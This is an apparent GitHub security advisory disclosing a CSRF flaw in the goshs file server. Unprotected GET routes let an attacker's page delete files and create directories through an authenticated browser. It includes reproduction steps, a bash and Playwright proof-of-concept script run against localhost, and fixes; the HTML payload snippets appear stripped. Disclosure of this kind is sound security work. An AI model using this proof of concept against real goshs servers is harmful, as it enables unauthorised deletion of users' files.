GHSA-jrq5-hg6x-j6g3 goshs has CSRF in state-changing GET routes enables authenticated file deletion and directory creation

• Go github.com/patrickhener/goshs/v2: >= 2.0.0-beta.4, < 2.0.0-beta.6 → fixed in 2.0.0-beta.6

Summary goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as `?delete` and `?mkdir` because goshs relies on HTTP basic auth alone and performs no CSRF, `Origin`, or `Referer` validation for those routes. I reproduced this on `v2.0.0-beta.5`. Details The vulnerable request handling is reachable through normal GET requests: • `httpserver/handler.go:118-123` dispatches `?mkdir` directly to `handleMkdir()` • `httpserver/handler.go:180-186` dispatches `?delete` directly to `deleteFile()` Authentication is enforced only by HTTP basic auth: • `httpserver/middleware.go:20-87` accepts any request that presents valid cached or replayed basic-auth credentials The resulting state changes hit filesystem mutation sinks: • `httpserver/handler.go:683-718` calls `os.RemoveAll()` in `deleteFile()` • `httpserver/handler.go:961-1000` calls `os.MkdirAll()` in `handleMkdir()` Because browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed: • `` • `` If the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem. PoC Manual verification commands used: `Terminal 1` ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' go build -o /tmp/goshs_beta5 ./ rm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site mkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site printf 'delete me\n' > /tmp/goshs_csrf_root/victim.txt cat > /tmp/goshs_csrf_site/delete.html HTML cat > /tmp/goshs_csrf_site/mkdir.html HTML /tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b 'u:p' ``` `Terminal 2` ```bash python3 -m http.server 18889 --directory /tmp/goshs_csrf_site ``` Victim actions: 1. Open `http://127.0.0.1:18095/` in a browser and authenticate with `u:p`. 2. Visit `http://127.0.0.1:18889/delete.html`. 3. Visit `http://127.0.0.1:18889/mkdir.html`. Two terminal commands I ran during local validation: ```bash test -e /tmp/goshs_csrf_root/victim.txt && echo EXISTS || echo DELETED test -d /tmp/goshs_csrf_root/csrfmade && echo CREATED || echo MISSING ``` Expected result: • the first check prints `DELETED` • the second check prints `CREATED` PoC Video 1: https://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473 Single-script verification: ```bash '/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3' ``` Observed script result: • `Delete status: DELETED` • `mkdir status: CREATED` • `[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET` PoC Video 2: https://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede `gosh_poc3` script content: ```bash !/usr/bin/env bash set -euo pipefail REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5' PLAY_DIR='/tmp/codex-playwright' BIN='/tmp/goshs_beta5_csrf' PORT='18095' ATTACKER_PORT='18889' CHROME='/Applications/Google Chrome.app/Contents/MacOS/Google Chrome' WORKDIR="$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)" ROOT="$WORKDIR/root" SITE="$WORKDIR/site" GOSHS_PID="" ATTACKER_PID="" cleanup() { if [[ -n "${ATTACKER_PID:-}" ]]; then kill "${ATTACKER_PID}" >/dev/null 2>&1 || true fi if [[ -n "${GOSHS_PID:-}" ]]; then kill "${GOSHS_PID}" >/dev/null 2>&1 || true fi } trap cleanup EXIT mkdir -p "$ROOT" "$SITE" printf 'delete me\n' > "$ROOT/victim.txt" cat > "$SITE/delete.html" HTML cat > "$SITE/mkdir.html" HTML echo "[1/6] Building goshs beta.5" (cd "$REPO" && go build -o "$BIN" ./) echo "[2/6] Starting goshs with HTTP basic auth" "$BIN" -d "$ROOT" -p "$PORT" -b 'u:p' >"$WORKDIR/goshs.log" 2>&1 & GOSHS_PID=$! for _ in $(seq 1 40); do if curl -s -u u:p "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then break fi sleep 0.25 done echo "[3/6] Serving attacker pages" python3 -m http.server "$ATTACKER_PORT" --directory "$SITE" >"$WORKDIR/attacker.log" 2>&1 & ATTACKER_PID=$! if [[ ! -d "$PLAY_DIR/node_modules/playwright-core" ]]; then mkdir -p "$PLAY_DIR" (cd "$PLAY_DIR" && npm install --no-save playwright-core >/dev/null) fi if [[ ! -x "$CHROME" ]]; then echo "[ERROR] Chrome not found at $CHROME" >&2 exit 1 fi echo "[4/6] Visiting attacker pages from an authenticated browser" node - { const browser = await chromium.launch({ headless: true, executablePath: '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome', }); const context = await browser.newContext({ httpCredentials: { username: 'u', password: 'p' }, }); const page = await context.newPage(); await page.goto('http://127.0.0.1:18095/', { waitUntil: 'domcontentloaded' }); await page.goto('http://127.0.0.1:18889/delete.html', { waitUntil: 'domcontentloaded' }); await page.waitForTimeout(1200); await page.goto('http://127.0.0.1:18889/mkdir.html', { waitUntil: 'domcontentloaded' }); await page.waitForTimeout(1200); await browser.close(); })(); NODE echo "[5/6] Verifying impact" DELETE_STATUS="MISSING" MKDIR_STATUS="MISSING" if [[ ! -e "$ROOT/victim.txt" ]]; then DELETE_STATUS="DELETED" fi if [[ -d "$ROOT/csrfmade" ]]; then MKDIR_STATUS="CREATED" fi echo "[6/6] Results" echo "Delete status: $DELETE_STATUS" echo "mkdir status: $MKDIR_STATUS" if [[ "$DELETE_STATUS" == "DELETED" && "$MKDIR_STATUS" == "CREATED" ]]; then echo '[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET' else echo '[RESULT] NOT REPRODUCED' exit 1 fi ``` Impact This issue lets an external attacker abuse an authenticated victim's browser to perform filesystem mutations on the goshs server. In the demonstrated case, the attacker deletes an existing file and creates a new directory without the victim intentionally performing either action. Any deployment that relies on HTTP basic auth for web access is exposed to cross-site state changes when a user visits attacker-controlled content while authenticated. Remediation Suggested fixes: 1. Move all state-changing functionality such as `delete` and `mkdir` off GET routes and require non-idempotent methods such as `POST` or `DELETE`. 2. Add CSRF protections for authenticated browser actions, including per-request CSRF tokens plus strict `Origin` and `Referer` validation. 3. Treat any rendered HTML content as untrusted and isolate it from issuing authenticated same-origin requests.